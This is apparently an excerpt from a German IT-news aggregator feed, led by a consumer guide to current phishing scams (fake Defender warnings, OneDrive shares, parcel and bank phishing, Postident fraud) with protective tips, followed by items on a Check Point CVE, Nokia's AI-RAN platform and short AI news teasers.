<p>Der Microsoft Defender ist ein Windows-Bordmittel und schützt PCs gegen alle bekannten PC-Viren. Entsprechend alarmierend ist für viele Nutzer eine Warnung dieses Antiviren-Tools. Eine gefälschte Form dieser Warnung erscheint mal per E-Mail, mal als Pop-up im Browser. In diesen Nachrichten wird behauptet, der Schutz des Defenders müsse kostenpflichtig erneuert werden. In der Folge werden die Nutzer auf gefälschte Shop-Webseiten geleitet, die eine Zahlung für einen Virenschutz verlangen.</p>



<p>Grundsätzlich gilt: Der Microsoft Defender ist auf Privat-PCs ein Bordmittel und kostenlos in Windows enthalten. Eine Zahlung ist nicht nötig. Sollte die Warnung per Mail bei Ihnen landen, löschen Sie diese einfach. Schlägt sie als Pop-up im Browser auf, schließen Sie einfach das Browser-Fenster, notfalls mit der Tastenkombination „Alt+F4”. </p>



<p><a href="https://tinyurl.com/yaz82hf3" target="_blank" rel="noreferrer noopener">Der Antivirenspezialist Norton hat eine Anleitung veröffentlicht</a>, die erklärt, wie sich solche Pop-up-Warnungen im Browser beseitigen lassen, falls sie sich im System festgesetzt haben.</p>



<h2 class="wp-block-heading">4. Microsoft-Onedrive: Cloud-Phishing über Freigaben</h2>



<p>Cloud-Dienste wie Onedrive von Microsoft nutzen viele Windows-Nutzer mehrmals täglich. Genau deshalb sind sie ein attraktives Ziel für Phishing. Statt klassischer E-Mails mit Dateianhängen erhalten die Nutzer Freigabe-Benachrichtigungen mit einem Betreff wie „Dokument wurde mit Ihnen geteilt“. Der Inhalt wirkt meist harmlos und oft beruflich relevant: Rechnungen, Projektpläne, Gehaltslisten oder interne Dokumente.</p>



<p>Besonders tückisch ist die Kombination aus echten und gefälschten Elementen. Manche Angriffe nutzen tatsächlich legitime Cloud-Plattformen, bieten dort aber manipulierte Dokumente an. Das Ziel dieser Angriffe sind mehrheitlich die Log-in-Daten der Opfer zu Ihren Cloud- und Mail-Konten. Diese werden dann von den Angreifern übernommen und etwa für neue Phishing-Attacken genutzt.</p>



<h2 class="wp-block-heading">5. Lieferdienste, Lieferdienste und noch mal Lieferdienste</h2>



<p>Phishing im Namen von Paketdiensten gehört zu den stabilsten Angriffsmustern überhaupt und wird gleichzeitig immer ausgefeilter. Der Grund ist die hohe Alltagstauglichkeit: Fast jeder erwartet regelmäßig Lieferungen und ist deshalb kaum misstrauisch, wenn eine Mail, SMS oder Whatsapp zum Thema Paketversand eintrudelt. Moderne Varianten enthalten nicht nur einfache Textlinks, sondern vollständige Tracking-Systeme.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a632697140c0"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/Phishing-Fallen-Paket-Phishing.png?w=1200" alt="Phishing Fallen Paket Phishing" class="wp-image-3187584" width="1200" height="539" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Hier sehen Sie vier Schritte eines vorgeblichen Lieferdienstes, der Ihnen ein Paket zustellen möchte. In weiteren Schritten sollen Sie Ihr Kundenkonto mit persönlichen Daten vervollständigen und eine Expresslieferung bezahlen.</p></figcaption></figure><p class="imageCredit">Arne Arnold</p></div>



<p>Diese Seiten sind dynamisch aufgebaut und simulieren echte Logistikprozesse. Beim Sendungsverlauf heißt es dann etwa: „Zustellung fehlgeschlagen – bitte Adresse bestätigen“ oder „Letzte Möglichkeit zur Terminänderung“. Besonders kritisch ist die Kombination aus Zeitdruck und Kontext. Wer Opfer eines solchen Angriffs wird, gibt meist seine Log-in-Daten für Shopping- oder Zahlungsdienste preis. Oder er überweist den Angreifern direkt Geld, da angeblich Steuern, Bearbeitungsgebühren oder ein Expresszuschlag fällig sind.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a632697149f8"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/Phishing-Fallen-Paket-Phishing-Bezahlung.png?w=1200" alt="Phishing Fallen Paket Phishing Bezahlung" class="wp-image-3187585" width="1200" height="645" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Eine Phishing-Webseite eines vorgeblichen Lieferdienstes, die hier eine Nachzahlung abrechnen möchte, bevor das Paket zugestellt werden kann.</p></figcaption></figure><p class="imageCredit">Arne Arnold</p></div>



<p>Übrigens: Ab dem 1. Juli 2026 gibt es zusätzliche Abgaben auf Sendungen aus Nicht-EU-Ländern. Für Waren unter 150 Euro sind dann pauschal 3 Euro Zollgebühr und eine Einfuhrumsatzsteuer fällig. Einige Kurierdienste verlangen zusätzlich eine Servicepauschale für diese Zollanmeldung. Über die genauen Kosten informiert <a href="https://tinyurl.com/sztfupt4" target="_blank" rel="noreferrer noopener">eine Seite der Verbraucherzentrale NRW</a>. Es lohnt sich, die tatsächlichen Kosten zu kennen, denn es ist wahrscheinlich, dass zu diesem Termin vermehrt Phishing-Mails zu diesem Thema versendet werden.</p>



<h2 class="wp-block-heading">6. Phishing zu Online-Banking gibt es immer</h2>



<p>Phishing zum Online-Banking gibt es fast schon so lange wie das Online-Banking selbst. Die Bedrohungslage ist aber so angespannt wie nie, denn die Angriffe sind nun wirklich zahlreich. <a href="https://tinyurl.com/y58m5smy" target="_blank" rel="noreferrer noopener">Über die neuesten Phishing-Fallen informieren unter anderem die Verbraucherzentralen</a>.</p>



<p>Beispiele aus dem Mai 2026 lauten etwa so: „Bestätigung Ihrer Mobilfunknummer erforderlich“. Absender ist vorgeblich die Easybank. Eine Fälschung von Commerzbank-Mails warnt vor einem fälligen „Photo-TAN Update“, bei dem ein „einmaliger Abgleich der Zugangsdaten“ nötig ist. </p>



<p>Andere Phishing-Mails geben vor, von der Deutschen Bank zu sein, und fordern eine Reaktivierung des „photoTAN-Sicherheitszertifikats“. Auch Kunden der DKB erhielten im Mai Phishing-Mails.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a632697157e7"}' data-wp-interactive="core/image" class="wp-block-image size-full wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/Phishing-Fallen-commerzbank2-Quelle-Verbraucherzentrale.png" alt="Phishing Fallen commerzbank2 Quelle Verbraucherzentrale" class="wp-image-3187583" width="460" height="665" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Eine aktuelle Phishing-Mail, die auf Kunden der Commerzbank abzielt. Im Text wird ordentlich Druck aufgebaut. Wer nicht reagiert, verliert angeblich „am nächsten Werktag“ den Zugriff auf sein Bankkonto.</p></figcaption></figure><p class="imageCredit">Verbraucherzentrale</p></div>



<p>Sollten Sie eine Mail von Ihrer Bank bekommen, klicken Sie auf keinen Fall auf einen der Links in dieser Mail. Wenn Sie sich unsicher sind, ob Sie reagieren sollen, rufen Sie die Website Ihrer Bank über Ihren Browser auf. </p>



<p>Sollte es tatsächlich ein Anliegen der Bank geben, wird es Ihnen nach dem Einloggen in Ihr Online-Konto angezeigt. Oder Sie rufen Ihre Bank einfach per Telefon an und fragen, ob Informationen von Ihnen benötigt werden.</p>



<h2 class="wp-block-heading">7. Phishing per Post: Kreditbetrug per Postident-Verfahren</h2>



<p>Diese Phishing-Angriffe erreichen Sie per Post in Ihrem echten Briefkasten. Die Briefe geben vor, von Ihrer Bank zu stammen, und fordern Sie auf, Ihre Daten erneut per Postident zu bestätigen. Postident ist ein Verfahren der Post, mit dem Sie Ihre Identität gegenüber anderen, etwa einer neuen Bank oder einem Kreditinstitut, bestätigen können. Wer das beigefügte Schreiben nutzt, legitimiert in der Regel einen hohen Kredit bei einer anderen Bank.</p>



<p>Schäden von 15.000 bis 25.000 Euro sind hier keine Seltenheit. Vorangegangen ist meist ein Diebstahl Ihrer genauen Daten (Postadresse, Hausbank, Arbeitgeber, Verdienst), den die Angreifer dann nutzen. An die Daten kommen die Kriminellen etwa über gefälschte Wohnungsinserate bei Immoscout24 oder ähnlichen Portalen. Wer sich auf eine Wohnung oder ein Haus mit Gehaltszetteln und weiteren Angaben bewirbt, hat bereits alle wichtigen Daten für den Postident-Betrug verraten. Seien Sie beim Postident-Verfahren stets besonders vorsichtig. Konkrete Tipps lesen Sie <a href="https://tinyurl.com/bdbnmxhn" target="_blank" rel="noreferrer noopener">hier</a>.</p>



<h2 class="wp-block-heading">Sicherheitstipps: Phishing erkennen und blockieren</h2>



<p><strong>An diesen Merkmalen erkennen Sie betrügerische Nachrichten:</strong></p>



<ul class="wp-block-list">
<li><strong>Unverlangter Kontakt:</strong> Sie erhalten eine E-Mail, Whatsapp oder SMS über eine Gutschrift, eine Lastschrift oder andere finanzielle Ansprüche, obwohl Sie aktuell keine Buchung storniert oder reklamiert haben.</li>



<li><strong>Zeitdruck:</strong> Die Nachricht suggeriert dringenden Handlungsbedarf und fordert zur schnellen Reaktion auf.</li>



<li><strong>Verdächtige Links:</strong> Die Links in der Nachricht sind hinter einem QR-Code maskiert, führen zu unpassenden Domains oder sind ungewöhnlich lang.</li>



<li><strong>Aufforderung zur Dateneingabe:</strong> Seriöse Unternehmen fordern in Nachrichten oder Mails nur äußerst selten zur Eingabe sensibler Daten auf.</li>



<li><strong>Unpersönliche Anrede:</strong> Oft fehlt die namentliche Ansprache oder es werden generische Formulierungen verwendet.</li>
</ul>



<p><strong>Diese Maßnahmen schützen vor Phishing-Fallen:</strong></p>



<ul class="wp-block-list">
<li><strong>E-Mail, SMS und Whatsapp &amp; Co. sind keine geschlossenen Nachrichtenkanäle:</strong> Sie müssen damit rechnen, auch betrügerische Nachrichten zu erhalten.</li>



<li><strong>Misstrauen Sie Links in Nachrichten:</strong> Klicken Sie keine Links an und scannen Sie keine QR-Codes, wenn Log-in-, Zahlungs- oder Sicherheitsaufforderungen in der Mail stehen. Öffnen Sie den jeweiligen Dienst im Browser über die manuelle Eingabe der Adresse.</li>



<li><strong>Nutzen Sie Browser und Passwortmanager als Frühwarnsystem: </strong>Wenn Ihr <a href="https://www.pcwelt.de/article/1204833/test-die-besten-passwort-manager.html" target="_blank" rel="noreferrer noopener">Passwortmanager</a> Ihre Log-in-Daten auf einer Webseite nicht einfügen möchte, dann ist die Domain vermutlich gefälscht. Achten Sie zudem auf die Warnungen Ihres Browsers.</li>



<li><strong>MFA aktivieren: </strong>Nutzen Sie immer eine Zwei- oder Multifaktor-Authentifizierung, wenn diese angeboten wird. Vor allem <a href="http://www.pcwelt.de/2107907" target="_blank" rel="noreferrer noopener">Passkeys</a> erhöhen die Sicherheit.</li>



<li><strong>Remote-Support misstrauen: </strong>Installieren Sie keine Fernwartungs-Tools, nachdem Sie unaufgefordert kontaktiert wurden.</li>



<li><strong>Freigaben hinterfragen: </strong>Wenn Sie Freigaben für Dateien in Cloud-Speichern erhalten, kontaktieren Sie zunächst den Absender, idealerweise telefonisch.</li>
</ul>



<p>Infos zu aktuellen Angriffen: Informieren Sie sich über Phishing-Kampagnen etwa bei der <a href="https://tinyurl.com/y58m5smy" target="_blank" rel="noreferrer noopener">Verbraucherzentrale NRW</a>.</p>



<p><strong>Als letzte Verteidigungslinie lassen sich Antivirenprogramme, Browserschutz und Spezial-Tools einsetzen:</strong></p>



<ul class="wp-block-list">
<li><strong>Antivirus:</strong> Große Sicherheits-Suiten wie <a href="https://www.awin1.com/cread.php?awinmid=14693&amp;awinaffid=486277&amp;clickref=rss&amp;platform=dl&amp;ued=http://www.gdata.de" target="_blank" rel="noreferrer noopener">G Data Internet Security</a> filtern Phishing-Mails heraus, bevor sie diese Nachrichten öffnen.</li>



<li><strong>Browser-Schutz: </strong>Browser von Sicherheitsanbietern blockieren viele aktuelle Phishing-Seiten, etwa der <a href="https://neobrowser.ai/" target="_blank" rel="noreferrer noopener">KI-Browser Norton Neo</a>.</li>



<li><strong>Spezial-Tools:</strong> KI-Chatbots wie <a href="https://www.awin1.com/cread.php?awinaffid=486277&amp;awinmid=11660&amp;clickref=rss&amp;ued=http://www.bitdefender.com/de-de/consumer/scamio" target="_blank" rel="noreferrer noopener">Scamio von Bitdefender</a> begutachten verdächtige Nachrichten und warnen vor gefährlichen Inhalten.</li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure data-wp-context='{"imageId":"6a63269717055"}' data-wp-interactive="core/image" class="wp-block-image size-large wp-lightbox-container"><img decoding="async" data-wp-class--hide="state.isContentHidden" data-wp-class--show="state.isContentVisible" data-wp-init="callbacks.setButtonStyles" data-wp-on-async--click="actions.showLightbox" data-wp-on-async--load="callbacks.setButtonStyles" data-wp-on-async-window--resize="callbacks.setButtonStyles" src="https://b2c-contenthub.com/wp-content/uploads/2026/07/Phishing-Fallen-Verdaechtige-Website-blockiert-Neo.png?w=1200" alt="Phishing Fallen Verdaechtige Website blockiert Neo" class="wp-image-3187587" width="1200" height="645" loading="lazy"><button class="lightbox-trigger" type="button" aria-haspopup="dialog" aria-label="Enlarge" data-wp-init="callbacks.initTriggerButton" data-wp-on-async--click="actions.showLightbox" data-wp-style--right="state.imageButtonRight" data-wp-style--top="state.imageButtonTop">
				<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" fill="none" viewbox="0 0 12 12">
					<path fill="#fff" d="M2 0a2 2 0 0 0-2 2v2h1.5V2a.5.5 0 0 1 .5-.5h2V0H2Zm2 10.5H2a.5.5 0 0 1-.5-.5V8H0v2a2 2 0 0 0 2 2h2v-1.5ZM8 12v-1.5h2a.5.5 0 0 0 .5-.5V8H12v2a2 2 0 0 1-2 2H8Zm2-12a2 2 0 0 1 2 2v2h-1.5V2a.5.5 0 0 0-.5-.5H8V0h2Z"></path>
				</svg>
			</button><figcaption class="wp-element-caption"><p>Einen guten Phishing-Schutz erhalten Sie beispielsweise über Browser von Sicherheitsanbietern wie hier dem Browser Norton Neo.</p></figcaption></figure><p class="imageCredit">Arne Arnold</p></div>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Inside CVE-2026-16232: Technical analysis of Check Point's actively exploited authentication bypass]]></title>
<description><![CDATA[CVE-2026-16232 is a critical authentication bypass affecting Check Point Security Management and Multi-Domain Management that has already been observed under active exploitation. This technical analysis examines the authentication logic flaw, token abuse, affected configurations, exploitation req...]]></description>
<link>https://tsecurity.de/de/3690988/it-security-nachrichten/inside-cve-2026-16232-technical-analysis-of-check-points-actively-exploited-authentication-bypass/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690988/it-security-nachrichten/inside-cve-2026-16232-technical-analysis-of-check-points-actively-exploited-authentication-bypass/</guid>
<pubDate>Fri, 24 Jul 2026 10:14:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<table> <tr><td> <a href="https://www.reddit.com/r/security/comments/1v51zyj/inside_cve202616232_technical_analysis_of_check/"> <img src="https://external-preview.redd.it/ccDziPlq2409Sl3MrhZcbFXfcE4njRjkSqC5BPVZ9_w.jpeg?width=640&amp;crop=smart&amp;auto=webp&amp;s=a7211b89bda8c91b101b3659c497580592d1adbb" alt="Inside CVE-2026-16232: Technical analysis of Check Point's actively exploited authentication bypass" title="Inside CVE-2026-16232: Technical analysis of Check Point's actively exploited authentication bypass"> </a> </td><td> <!-- SC_OFF --><div class="md"><p>CVE-2026-16232 is a critical authentication bypass affecting Check Point Security Management and Multi-Domain Management that has already been observed under active exploitation. This technical analysis examines the authentication logic flaw, token abuse, affected configurations, exploitation requirements, patch details, IoCs, and practical mitigation guidance for defenders.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/NapierPalm"> /u/NapierPalm </a> <br> <span><a href="https://thecybersecguru.com/news/check-point-cve-2026-16232-authentication-bypass-active-exploitation/">[link]</a></span>   <span><a href="https://www.reddit.com/r/security/comments/1v51zyj/inside_cve202616232_technical_analysis_of_check/">[comments]</a></span> </td></tr></table>]]></content:encoded>
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<title><![CDATA[Why enterprises should care about Nokia’s AI-RAN platform]]></title>
<description><![CDATA[Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity...]]></description>
<link>https://tsecurity.de/de/3690985/it-security-nachrichten/why-enterprises-should-care-about-nokias-ai-ran-platform/</link>
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<pubDate>Fri, 24 Jul 2026 10:13:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity.</p>



<p class="wp-block-paragraph">With this release, Nokia is introducing what it calls the industry’s first commercial AI-RAN platform, built on its AI‑native anyRAN software and Nvidia’s Aerial AI-RAN stack running on merchant GPU-based accelerated computing. The company is already seeing more than 20% gains in spectral efficiency from AI-driven radio algorithms, with a roadmap to reach 50% by 2027 and more than 100% by 2028, effectively doubling capacity on existing spectrum in dense cells.</p>



<p class="wp-block-paragraph">Legacy RAN infrastructure enables connectivity but not much beyond that. The AI-RAN makes the network intelligent and extends AI into the physical world, enabling telcos to get more from their infrastructure investments, including <a href="https://www.networkworld.com/article/4128115/is-private-5g-6g-important-after-all.html">providing a path to 6G</a>. The partnership with Nvidia brings CUDA and AI into mobile environments.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers, the headline isn’t just that Nokia got to market first with AI‑RAN—it’s that the company is using AI and GPUs to break the historical coupling between radio performance and custom silicon refresh cycles, and to turn the RAN into an application platform.</p>



<h2 class="wp-block-heading">What AI-RAN actually is</h2>



<p class="wp-block-paragraph">At a technical level, Nokia’s AI‑RAN is a software‑defined baseband architecture that runs Layer 1/Layer 2 RAN functions and AI models on accelerated compute, primarily GPUs, instead of being locked into fixed‑function ASICs. <a href="https://www.linkedin.com/in/cheers/">Udayan Mukherjee</a>, Nokia’s CTO for RAN and core, summarized the vision in the <a href="https://www.networkworld.com/article/4200815/AI-RAN-analyst-briefing-20260714_095948-Meeting-Recording-2-_1_otter_ai_transcript.txt">analyst briefing</a>: “AI‑RAN is essentially a platform that turns the radio network into a true AI‑native programmable platform… one software detached from the hardware, defining flexible hardware deployment configurations, including part of the AI grid.”</p>



<p class="wp-block-paragraph">Several pillars stand out:</p>



<ul class="wp-block-list">
<li>AI‑native design: Algorithms move from traditional linear models to increasingly nonlinear techniques (e.g., advanced channel estimation, deep receivers/transmitters, RKHS-based methods), which demand tensor-heavy compute best delivered by GPUs.</li>



<li>Software-defined RAN: The same anyRAN software stack runs across different hardware configurations—plug‑in cards, standalone AI‑RAN nodes, and COTS/cloud RAN—so innovation comes via software releases rather than baseband card swaps.</li>



<li>Programmable “D‑apps” layer: Nokia is pushing a new real‑time E3 interface from Layer 1/2 into an application layer for distributed apps (D‑apps) that can tap IQ samples, channel estimation and scheduling data for use cases such as sensing and location services.</li>



<li>Crucially, this isn’t meant to replace all custom silicon overnight. Mukherjee was explicit: “We are not dropping the purpose‑built product… but we want to also get to merchant silicon, because that’s the future as we want to develop bigger models and AI elements and value‑added services on top of it.” The result is a hybrid era where AI‑accelerated platforms coexist with existing basebands but begin to shoulder the most compute‑intensive workloads.</li>
</ul>



<h2 class="wp-block-heading">Why AI-RAN matters for operators</h2>



<p class="wp-block-paragraph">Nokia and its early operator partners are trying to solve three perennial problems: finite spectrum, changing traffic patterns, and the drag of hardware refresh cycles.</p>



<p class="wp-block-paragraph">First, spectrum constraints. <a href="https://www.linkedin.com/in/aji-ed/">Aji Ed</a>, Nokia’s head of AI‑RAN and cloud RAN, called spectrum “the first constraint everybody has,” noting that operators have paid “huge amount of money” for bands and now need to “get up to the 2x spectrum” in terms of usable capacity. By running more complex AI models for multi‑user MIMO pairing, channel estimation, carrier aggregation and deep receiver/transmitter functions on GPUs, Nokia believes it can unlock those gains where traditional platforms simply run out of compute headroom.</p>



<p class="wp-block-paragraph">Second, traffic is shifting. Generative AI and distributed inference workloads are driving more uplink-heavy, latency‑sensitive patterns that current RANs weren’t designed for. AI‑RAN’s ability to adapt scheduling, beamforming and resource allocation dynamically via AI models deployed at the baseband is meant to keep up with this shift.</p>



<p class="wp-block-paragraph">Third, innovation cadence. In Ed’s words, “hardware upgrades can’t keep up with the innovation… we can’t really have a silicon refresh cycle linked with every three‑year cycle.” Nokia’s subscription‑based software model is designed to deliver new AI algorithms, spectral‑efficiency improvements and network optimization features continuously, without requiring “forklift” hardware replacements.</p>



<p class="wp-block-paragraph">For operators, the message is attractive: comparable TCO and power to existing basebands, “no hardware premium” for GPU adoption, but higher capacity and a path to new services. Nokia told analysts it has reached performance, price and energy efficiency parity between its custom GridShark silicon and GPU-based systems, while moving the baseband roadmap to merchant silicon.</p>



<h2 class="wp-block-heading">Nokia’s differentiation strategy</h2>



<p class="wp-block-paragraph">Every major RAN vendor is talking about AI‑enhanced radio, but Nokia is drawing a line between incremental gains and what it claims is a platform shift. When asked why its 2x spectral efficiency ambition is so much higher than the ~20% numbers competitors discuss, Ed pointed to the underlying architecture: “We are able to bring much more complex algorithms into this compute infrastructure… all of these require much higher compute, which is exactly what is coming from the accelerated computing.”</p>



<p class="wp-block-paragraph">Several differentiators emerge:</p>



<ul class="wp-block-list">
<li>Aggressive spectral roadmap: Nokia is targeting 1.5x by 2027 and 2x by 2028, across TDD massive MIMO and FDD scenarios, with a feature roadmap built jointly with Nvidia and other partners.</li>



<li>Single code base, three deployment paths: The same anyRAN software stack runs on (1) a GPU‑powered AirScale capacity plug‑in card, (2) a high‑capacity standalone AI‑RAN node, and (3) GPU‑based COTS/cloud RAN servers. This lets operators modernize “at their own pace” and mix brownfield evolution with greenfield AI-native deployments.</li>



<li>Open ecosystem with D‑apps: Nokia is leaning into ORAN compliance (front‑haul, O1/O2) and actively championing the E3 interface and D‑apps concept within ORAN and AI‑RAN alliances, with Bell Labs and at least two external partners already building sensing and location applications on the platform.</li>



<li>Software subscription tied to value: The commercial model builds on existing software subscriptions but ties pricing more explicitly to delivered value, such as spectral efficiency improvements and new AI services, rather than pure license metrics.</li>
</ul>



<p class="wp-block-paragraph">Mukherjee emphasized the openness angle in the briefing: “We see a lot of third‑party applications, whether it’s improving spectral efficiency or location service or sensing, can be developed on this platform… any AI‑powered services from us in Nokia or from ecosystems can be actually developed on top of it.” For operators burned by closed optimization stacks, that’s a notable pivot.</p>



<h2 class="wp-block-heading">How AI-RAN unlocks new revenue</h2>



<p class="wp-block-paragraph">Most operators will sign off on AI‑RAN if the capacity and TCO story holds, but the more strategic question is monetization beyond connectivity. Nokia’s spokespeople spent considerable time on this in the analyst call, pointing to several classes of services that are difficult or impossible to deliver without AI running in the RAN itself.</p>



<p class="wp-block-paragraph">Examples include:</p>



<ul class="wp-block-list">
<li>Integrated sensing: Turning the RAN into a distributed sensor grid that can support applications such as 3D mapping, gesture recognition and environmental monitoring, using the same RF infrastructure. Mukherjee noted, “We have at least two to three partners developing sensing applications on top of it… as well as two other companies developing location services.”</li>



<li>Physical AI and location services: For factories, logistics hubs and smart cities, AI‑RAN can provide high‑precision positioning and real‑time telemetry for robots, drones and autonomous systems by fusing radio data and AI models at the edge.</li>



<li>Distributed AI infrastructure: Operators exploring “AI‑native cities” can use AI‑RAN nodes and COTS GPU servers as a distributed inference fabric for applications that need tight latency to endpoints—think AR/VR offload, real‑time video analytics or interactive generative AI experiences.</li>



<li>Premium connectivity tiers: With fine‑grained, AI‑driven control over uplink/downlink scheduling and QoS, operators can create differentiated SLAs for enterprise slices, mission‑critical IoT and AI workloads, charging for guaranteed performance rather than best‑effort connectivity.</li>
</ul>



<p class="wp-block-paragraph">Ed framed the opportunity as a continuum: Superior connectivity from 2x spectral efficiency creates “space for new AI workloads and other use cases,” while the D‑apps ecosystem and subscription model provide a mechanism to package and sell those capabilities. In practice, that could look like:</p>



<ul class="wp-block-list">
<li>Industrial sensing-as-a-service, where Nokia and partners supply D‑apps for integrated sensing and positioning, and operators monetize them per site or per device.</li>



<li>Network‑exposed APIs for inference, location and RF sensing, integrated into operators’ broader network API portfolios as they pursue “network-as-a-platform” strategies.</li>



<li>Sector‑specific AI‑native services, such as stadium analytics, transportation corridor monitoring, or drone traffic management, built by ISVs on top of Nokia’s exposed E3 data.</li>
</ul>



<p class="wp-block-paragraph">For operators that already use Nokia’s MantaRay and SMO stacks for cross‑network optimization, AI‑RAN essentially becomes the local real‑time execution environment, while R‑apps/X‑apps continue to orchestrate macro-level behaviors. Mukherjee described this layered architecture as “DU and CU on the platform running D‑apps using E3, interfacing to X‑apps and R‑apps through E2SM and connecting to the overall management system/SMO for lifecycle management.”</p>



<h2 class="wp-block-heading">Adoption path and reality check</h2>



<p class="wp-block-paragraph">Nokia is not promising instant transformation. AI‑RAN pilots are slated for late 2026, with commercial availability on card‑based systems in 2027 and AirScale-based systems around 2028, all driven from a single software stack that supports 4G, 5G and is upgradable to 6G. The company already has trials and collaborations underway with T‑Mobile US, SoftBank, Indosat Ooredoo Hutchison, BT, Elisa, Vodafone, Orange, NTT Docomo, Deutsche Telekom and others.</p>



<p class="wp-block-paragraph">There are still open questions around 3GPP vs ORAN standardization of E3, the maturity of the D‑apps ecosystem, and how operators will digest yet another subscription layer tied to radio software. But Nokia’s move puts a stake in the ground: in the AI era, the RAN is not just a throughput engine; it’s a programmable AI computer that can be monetized.</p>



<p class="wp-block-paragraph">For <em>Network World</em> readers evaluating vendor roadmaps, this launch suggests a clear directional change. If Nokia hits its targets, AI‑RAN could mark the point where baseband becomes less about hardware SKUs and more about an AI platform strategy—one where spectral efficiency and new services are rolled out at “software speed,” as Ed described it, rather than at the pace of the next card generation.</p>
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<title><![CDATA[Working to automate nuclear plant operations]]></title>
<description><![CDATA[PhD student Lauren Fortier is building on the experience she gained operating a nuclear plant for the Navy to solve a critical hurdle in the wider adoption of the energy source.]]></description>
<link>https://tsecurity.de/de/3690642/ai-nachrichten/working-to-automate-nuclear-plant-operations/</link>
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<pubDate>Fri, 24 Jul 2026 06:03:43 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[PhD student Lauren Fortier is building on the experience she gained operating a nuclear plant for the Navy to solve a critical hurdle in the wider adoption of the energy source.]]></content:encoded>
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<title><![CDATA[Is AI killing critical thinking in the classroom?]]></title>
<description><![CDATA[Building effective frameworks could help promote ‘deep thinking’ rather than ‘cognitive atrophy’]]></description>
<link>https://tsecurity.de/de/3690632/ai-nachrichten/is-ai-killing-critical-thinking-in-the-classroom/</link>
